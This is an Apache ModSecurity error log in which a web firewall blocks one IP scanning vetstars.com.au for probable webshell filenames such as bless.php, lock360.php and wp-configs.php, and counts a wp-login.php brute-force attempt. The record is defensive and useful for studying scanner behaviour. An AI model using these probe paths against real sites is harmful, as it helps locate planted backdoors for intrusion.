[Tue Jan 27 03:03:08.205107 2026] [:error] [pid 23303:tid 23328] [client 40.115.140.37:10984] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aXe6bJ9-XqTbIalaUZyhkgAAAZc"]
[Tue Jan 27 03:03:08.992332 2026] [:error] [pid 44586:tid 44780] [client 40.115.140.37:2661] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aXe6bKZDnq-dPBqM5Li6OQAAAJA"]
[Tue Jan 27 03:03:09.749297 2026] [:error] [pid 44587:tid 44794] [client 40.115.140.37:2328] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aXe6bYsXadca93KAT8QCFQAAAMI"]
[Tue Jan 27 03:03:10.303124 2026] [:error] [pid 44849:tid 44852] [client 40.115.140.37:2344] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aXe6bhvM0vcShMgZVmQKzQAAAUE"]
[Tue Jan 27 03:03:10.996891 2026] [:error] [pid 44849:tid 44851] [client 40.115.140.37:2272] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aXe6bhvM0vcShMgZVmQKzwAAAUA"]
[Tue Jan 27 03:03:11.503932 2026] [:error] [pid 23303:tid 23312] [client 40.115.140.37:2285] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aXe6b59-XqTbIalaUZyhkwAAAYc"]
[Tue Jan 27 03:03:12.352748 2026] [:error] [pid 44586:tid 44769] [client 40.115.140.37:10164] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aXe6cKZDnq-dPBqM5Li6PAAAAIU"]
[Tue Jan 27 03:03:13.237186 2026] [:error] [pid 18632:tid 18652] [client 40.115.140.37:4571] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aXe6caU_e_bi-Bnkkm4dwQAAAFE"]
[Tue Jan 27 03:03:13.706182 2026] [:error] [pid 44849:tid 44856] [client 40.115.140.37:9411] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aXe6cRvM0vcShMgZVmQK0wAAAUU"]
[Tue Jan 27 03:03:14.269897 2026] [:error] [pid 57173:tid 57256] [client 40.115.140.37:10167] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aXe6ck4W-bz8q8pfNmgx2gAAABc"]
[Tue Jan 27 03:03:15.209953 2026] [:error] [pid 44586:tid 44787] [client 40.115.140.37:6717] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aXe6c6ZDnq-dPBqM5Li6PgAAAJc"]
[Tue Jan 27 03:03:15.973613 2026] [:error] [pid 57173:tid 57244] [client 40.115.140.37:4599] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aXe6c04W-bz8q8pfNmgx3gAAAAw"]
[Tue Jan 27 03:03:17.411586 2026] [:error] [pid 57173:tid 57242] [client 40.115.140.37:10126] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aXe6dU4W-bz8q8pfNmgx5AAAAAo"]
[Tue Jan 27 03:03:19.608448 2026] [:error] [pid 23303:tid 23307] [client 40.115.140.37:2095] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6d59-XqTbIalaUZyhngAAAYI"]
[Tue Jan 27 03:03:19.999719 2026] [:error] [pid 23303:tid 23328] [client 40.115.140.37:6707] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6d59-XqTbIalaUZyhnwAAAZc"]
[Tue Jan 27 03:03:20.524131 2026] [:error] [pid 44588:tid 44843] [client 40.115.140.37:2290] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6eDHRQD80UhqYrcApuQAAARc"]
[Tue Jan 27 03:03:22.363399 2026] [:error] [pid 44586:tid 44782] [client 40.115.140.37:9435] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aXe6eqZDnq-dPBqM5Li6QgAAAJI"]
[Tue Jan 27 03:03:23.032774 2026] [:error] [pid 23303:tid 23327] [client 40.115.140.37:6019] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6e59-XqTbIalaUZyhqAAAAZY"]
[Tue Jan 27 03:03:23.884331 2026] [:error] [pid 44586:tid 44777] [client 40.115.140.37:2100] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6e6ZDnq-dPBqM5Li6RAAAAI0"]
[Tue Jan 27 03:03:24.534742 2026] [:error] [pid 44588:tid 44832] [client 40.115.140.37:4567] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6fDHRQD80UhqYrcApvQAAAQw"]
[Tue Jan 27 03:03:25.522942 2026] [:error] [pid 44586:tid 44783] [client 40.115.140.37:9451] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aXe6faZDnq-dPBqM5Li6RwAAAJM"]
[Tue Jan 27 03:03:26.132226 2026] [:error] [pid 44586:tid 44765] [client 40.115.140.37:6767] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aXe6fqZDnq-dPBqM5Li6SAAAAIE"]
[Tue Jan 27 03:03:27.186364 2026] [:error] [pid 18632:tid 18639] [client 40.115.140.37:6733] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aXe6f6U_e_bi-Bnkkm4dyQAAAEQ"]
[Tue Jan 27 03:03:27.733004 2026] [:error] [pid 18632:tid 18659] [client 40.115.140.37:2098] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aXe6f6U_e_bi-Bnkkm4dywAAAFg"]
[Tue Jan 27 03:03:29.105626 2026] [:error] [pid 23303:tid 23305] [client 40.115.140.37:2243] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aXe6gZ9-XqTbIalaUZyhsgAAAYA"]
[Tue Jan 27 03:03:29.568439 2026] [:error] [pid 18632:tid 18636] [client 40.115.140.37:2529] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aXe6gaU_e_bi-Bnkkm4dzgAAAEE"]
[Tue Jan 27 03:03:30.779744 2026] [:error] [pid 44587:tid 44806] [client 40.115.140.37:2553] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aXe6gosXadca93KAT8QCIwAAAM4"]
[Tue Jan 27 03:03:35.802141 2026] [:error] [pid 44586:tid 44772] [client 40.115.140.37:9932] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aXe6h6ZDnq-dPBqM5Li6TwAAAIg"]
[Tue Jan 27 03:03:41.258360 2026] [:error] [pid 44586:tid 44764] [client 40.115.140.37:9437] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aXe6jaZDnq-dPBqM5Li6WAAAAIA"]
[Tue Jan 27 03:03:42.087131 2026] [:error] [pid 18632:tid 18635] [client 40.115.140.37:6047] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wag.php"] [unique_id "aXe6jqU_e_bi-Bnkkm4d2gAAAEA"]
[Tue Jan 27 03:03:43.173697 2026] [:error] [pid 18632:tid 18636] [client 40.115.140.37:14179] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wag.php"] [unique_id "aXe6j6U_e_bi-Bnkkm4d3QAAAEE"]
[Tue Jan 27 03:03:44.545173 2026] [:error] [pid 44587:tid 44792] [client 40.115.140.37:14174] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wag.php"] [unique_id "aXe6kIsXadca93KAT8QCJgAAAMA"]
[Tue Jan 27 03:03:45.779075 2026] [:error] [pid 18632:tid 18648] [client 40.115.140.37:7172] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wag.php"] [unique_id "aXe6kaU_e_bi-Bnkkm4d4QAAAE0"]
[Tue Jan 27 03:03:47.444019 2026] [:error] [pid 57173:tid 57251] [client 40.115.140.37:14201] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvent.php"] [unique_id "aXe6k04W-bz8q8pfNmgx8QAAABI"]
[Tue Jan 27 03:03:48.768260 2026] [:error] [pid 44586:tid 44781] [client 40.115.140.37:9934] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvent.php"] [unique_id "aXe6lKZDnq-dPBqM5Li6ZwAAAJE"]
[Tue Jan 27 03:03:49.980832 2026] [:error] [pid 44849:tid 44862] [client 40.115.140.37:2104] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvent.php"] [unique_id "aXe6lRvM0vcShMgZVmQK2wAAAUs"]
[Tue Jan 27 03:03:50.574943 2026] [:error] [pid 57173:tid 57244] [client 40.115.140.37:9972] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvent.php"] [unique_id "aXe6lk4W-bz8q8pfNmgx9QAAAAw"]
[Tue Jan 27 03:03:52.053506 2026] [:error] [pid 18632:tid 18653] [client 40.115.140.37:8793] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aaa.php"] [unique_id "aXe6mKU_e_bi-Bnkkm4d5gAAAFI"]
[Tue Jan 27 03:04:32.232997 2026] [:error] [pid 18632:tid 18643] [client 40.115.140.37:3071] [client 40.115.140.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.115.140.37, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXe6wKU_e_bi-Bnkkm4ebgAAAEg"]
[Tue Jan 27 03:04:42.707778 2026] [:error] [pid 18632:tid 18641] [client 40.115.140.37:2960] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aXe6yqU_e_bi-Bnkkm4eeQAAAEY"]
[Tue Jan 27 03:04:43.178299 2026] [:error] [pid 23303:tid 23307] [client 40.115.140.37:7187] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aXe6y59-XqTbIalaUZyiVgAAAYI"]
[Tue Jan 27 03:04:43.889753 2026] [:error] [pid 23303:tid 23324] [client 40.115.140.37:7217] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aXe6y59-XqTbIalaUZyiWQAAAZM"]
[Tue Jan 27 03:04:44.352598 2026] [:error] [pid 44588:tid 44835] [client 40.115.140.37:7190] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aXe6zDHRQD80UhqYrcAqLwAAAQ8"]
[Tue Jan 27 03:04:45.334709 2026] [:error] [pid 44588:tid 44842] [client 40.115.140.37:7173] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aXe6zTHRQD80UhqYrcAqMQAAARY"]
[Tue Jan 27 03:04:46.064106 2026] [:error] [pid 44586:tid 44764] [client 40.115.140.37:8901] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aXe6zqZDnq-dPBqM5Li69wAAAIA"]
[Tue Jan 27 03:04:46.348102 2026] [:error] [pid 44588:tid 44827] [client 40.115.140.37:7214] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aXe6zjHRQD80UhqYrcAqMwAAAQc"]
[Tue Jan 27 03:04:47.136871 2026] [:error] [pid 44849:tid 44868] [client 40.115.140.37:8772] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aXe6zxvM0vcShMgZVmQLVgAAAVE"]
[Tue Jan 27 03:04:48.645529 2026] [:error] [pid 44586:tid 44784] [client 40.115.140.37:2503] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aXe60KZDnq-dPBqM5Li6-AAAAJQ"]
[Tue Jan 27 03:04:51.938147 2026] [:error] [pid 23303:tid 23311] [client 40.115.140.37:8905] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aXe6059-XqTbIalaUZyiXwAAAYY"]
[Tue Jan 27 03:04:53.091695 2026] [:error] [pid 23303:tid 23306] [client 40.115.140.37:8769] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aXe61Z9-XqTbIalaUZyiYAAAAYE"]
[Tue Jan 27 03:04:55.506518 2026] [:error] [pid 44849:tid 44856] [client 40.115.140.37:3015] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aXe61xvM0vcShMgZVmQLWAAAAUU"]
[Tue Jan 27 03:04:56.246712 2026] [:error] [pid 18632:tid 18651] [client 40.115.140.37:8831] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXe62KU_e_bi-Bnkkm4ehgAAAFA"]
[Tue Jan 27 03:04:56.770200 2026] [:error] [pid 44849:tid 44865] [client 40.115.140.37:7189] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXe62BvM0vcShMgZVmQLWQAAAU4"]
[Tue Jan 27 03:04:57.513117 2026] [:error] [pid 44849:tid 44871] [client 40.115.140.37:8927] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXe62RvM0vcShMgZVmQLWwAAAVQ"]
[Tue Jan 27 03:04:58.241165 2026] [:error] [pid 23303:tid 23310] [client 40.115.140.37:6068] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXe62p9-XqTbIalaUZyiZAAAAYU"]
[Tue Jan 27 03:04:59.803174 2026] [:error] [pid 44586:tid 44783] [client 40.115.140.37:2083] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php/wp-update.php"] [unique_id "aXe626ZDnq-dPBqM5Li7AgAAAJM"]
